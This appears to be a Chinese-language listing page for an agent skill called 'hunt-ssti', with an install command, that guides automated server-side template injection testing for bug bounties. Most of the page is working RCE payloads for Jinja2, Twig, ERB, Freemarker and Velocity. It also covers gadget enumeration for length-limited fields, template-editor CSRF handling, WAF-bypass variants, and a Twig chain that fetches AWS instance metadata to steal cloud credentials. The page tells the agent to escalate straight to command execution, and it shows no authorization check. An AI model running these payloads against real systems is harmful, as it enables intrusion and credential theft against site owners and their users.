关于 hunt-ssti
hunt-ssti 是用于发现服务器端模板注入并验证影响的安全测试技能,涵盖模板引擎探测、针对性测试路径和执行结果确认。
主要功能
- 01模板引擎识别
- 02Jinja2、Twig、ERB 和 Freemarker 探测
- 03表单与模板编辑器测试指引
- 04短长度注入技巧
- 05影响验证与报告分级
适用场景
- 01测试模板表单和个人资料字段
- 02检查邮件与文档渲染中的 SSTI
- 03评估注入是否可执行命令
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-ssti安装后在 Claude Code 中输入/hunt-ssti确认已加载。
详细介绍
自主测试优先级
直接升级到 RCE——不要止步于算术检测。
算术探测({{7*7}}→49)可以确认注入点,但不能证明其影响。真正的目标是执行 OS 命令。如果应用回显输入(例如在 <input value="{{7*7}}"> 这样的 HTML 属性中),算术检测也可能悄无声息地失败,即使确实存在注入,也会产生假阴性。
攻击顺序:
- 先尝试 Jinja2 RCE(适用于 Python/Flask——这是现代 Web 应用中最常见的技术栈):
{{config.__class__.__init__.__globals__['os'].popen('id').read()}} - 如果端点是传统 Web 表单,请发送表单编码的请求体——不要使用 JSON:
处理表单的端点会悄无声息地忽略 JSON 请求体(Content-Type: application/x-www-form-urlencoded field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}request.form['field']中什么也没有)。 - 如果 Jinja2 失败,尝试 Twig(PHP/Symfony):
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} - 只有在 RCE 载荷失败时,才回退到算术检测,用于识别模板引擎。
**证明:**如果响应中出现命令输出(uid=N(user) gid=...),即可确认 RCE。如果输出出现在 HTML 中(位于 <div> 或 <pre> 内),也同样有效——格式无关紧要,内容才是证据。
14. SSTI — 服务端模板注入
易于检测,收益高($2K–$8K)。可直接实现 RCE。
检测载荷(全部尝试)
{{7*7}} → 49 = Jinja2 / Twig
${7*7} → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %> → 49 = ERB (Ruby)
*{7*7} → 49 = Spring Thymeleaf
{{7*'7'}} → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.
RCE 载荷
Jinja2(Python/Flask):
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig(PHP/Symfony):
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
ERB(Ruby):
<%= `id` %>
长度受限的注入字段(个人资料名称、显示名称、主题)
当可注入字段限制输入长度时(个人资料名称/显示名称字段通常限制在 ≤30-64 个字符),完整的 os.popen 单行命令将无法放入——但检测和类枚举仍然可行。先用短探测确认,然后分阶段枚举 gadget 索引,而不是一次性发送一个载荷:
{{ '7'*7 }} # detection, fits anywhere
{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}
反射型接收点通常是外发邮件(账户更新/确认邮件会渲染你的名称),而不是网页——请检查邮件正文中的求值输出。已披露:reports/125980(个人资料名称 → Jinja2 → 确认邮件,长度受限)。
测试位置
Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected
CMS/“文档”模板编辑器表单(需登录)
一些 SSTI 位于需要登录的模板编辑器之后(CMS“编辑模板”/产品模板/邮件模板预览)。PortSwigger 的 “使用文档进行 SSTI” 类型就是这种情况。有三点会让简单尝试失败:
-
**执行 RCE 前先识别引擎——语法取决于引擎。**不要假设是 Jinja2。探测整个矩阵,并查看哪种语法会被求值:
${7*7} → 49 AND #{7*7} → 49 ⇒ Freemarker (Java) ← {{7*7}} does NOTHING here {{7*7}} → 49 ⇒ Jinja2 / Twig <%= 7*7 %> → 49 ⇒ ERB (Ruby) *{7*7} → 49 ⇒ Thymeleaf (Spring)如果
{{7*7}}按原样显示,而${7*7}→49,那么你用的是 Freemarker——不要再发送{{config...}}。 -
**记录 ID 通常是查询参数,而不是请求体字段。**编辑器表单会将请求发回
POST /…/template?productId=N,ID 位于 URL 中。请求体仅包含csrf、template和template-action(preview|save)。将 ID 放在请求体中会返回400 "Missing product id"。因此,ID 应保留在查询字符串中(?productId=N),并发送 表单编码的请求体csrf=…&template=<PAYLOAD>&template-action=preview。 -
每次都重新获取 CSRF,并使用
preview进行迭代。GET 编辑器页面,读取一个新鲜的 隐藏字段csrf;template-action=preview会渲染载荷但不会持久保存(可快速反馈迭代结果)。 只有在载荷正确后,才切换到template-action=save,然后触发渲染 (加载使用该模板的公开页面)以执行命令。Freemarker 文档 RCE(文档中所述的
Execute工具——这就是预期的技术):<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }Velocity 的对应写法:
#set($e="e");$e.getClass().forName("java.lang.Runtime")...。
相关技能与攻击链
hunt-rce— 在 Python/Ruby/PHP/Java 技术栈中,SSTI 是实现 RCE 最简单的途径,因为模板语言已经暴露了运行时。攻击链原语:Jinja2{{config.__class__.__init__.__globals__['os'].popen('id').read()}}或 Freemarker<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}→ 以渲染工作进程的身份实现未授权 RCE。始终按指纹识别 → 类遍历器 → 命令执行的顺序升级。hunt-xss— 当模板引擎对运行时进行沙箱隔离(或者你只能拿到渲染后的 HTML 输出)时,同样的{{7*7}}反射仍常常能导致存储型 XSS。攻击链原语:沙箱隔离的 Jinja2 SSTI,且没有转义 → 向渲染后的邮件模板注入<script>→ 每位查看该邮件的收件人都会遭遇存储型 XSS。hunt-ssrf— 模板引擎往往会先暴露 URL 获取器/过滤器,再暴露运行时,因此你可以在实现 RCE 之前先实现 SSRF。攻击链原语:Twig{{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }}或搭配url_for/自定义过滤器的 Jinja2 → 窃取 AWS 元数据 → 获取云凭证。hunt-file-upload— 用户上传的 Office 文档、SVG 和邮件模板都是常见的 SSTI 攻击面(服务器会重新渲染它们)。攻击链原语:上传一个 DOCX,其word/document.xml包含${T(java.lang.Runtime).getRuntime().exec("id")},并将其交给由 Velocity/Freemarker 驱动的邮件合并功能 → RCE。security-arsenal— 使用针对具体引擎的转义载荷树:Jinja2 类遍历器变体(通过__subclasses__()[N]搜索索引)、Twig_self.envregisterUndefinedFilterCallback、Freemarker?new()Execute、ERB 反引号、Velocity$class.inspect、Smarty{php}...{/php},以及 WAF 绕过变体({{request|attr('application')|...}}、Unicode 转义、{%print(...)%})。triage-validation— 在声称存在 Critical 级别的 RCE 前,先执行 Pre-Severity Gate。在沙箱隔离的引擎中(例如 Twig 沙箱模式、没有转义能力的 Jinja2 SandboxedEnvironment),{{7*7}} → 49反射属于 Medium 级 SSTI,而不是 Critical 级 RCE。提交报告前,使用唯一标记证明id命令执行或 OOB DNS 回调。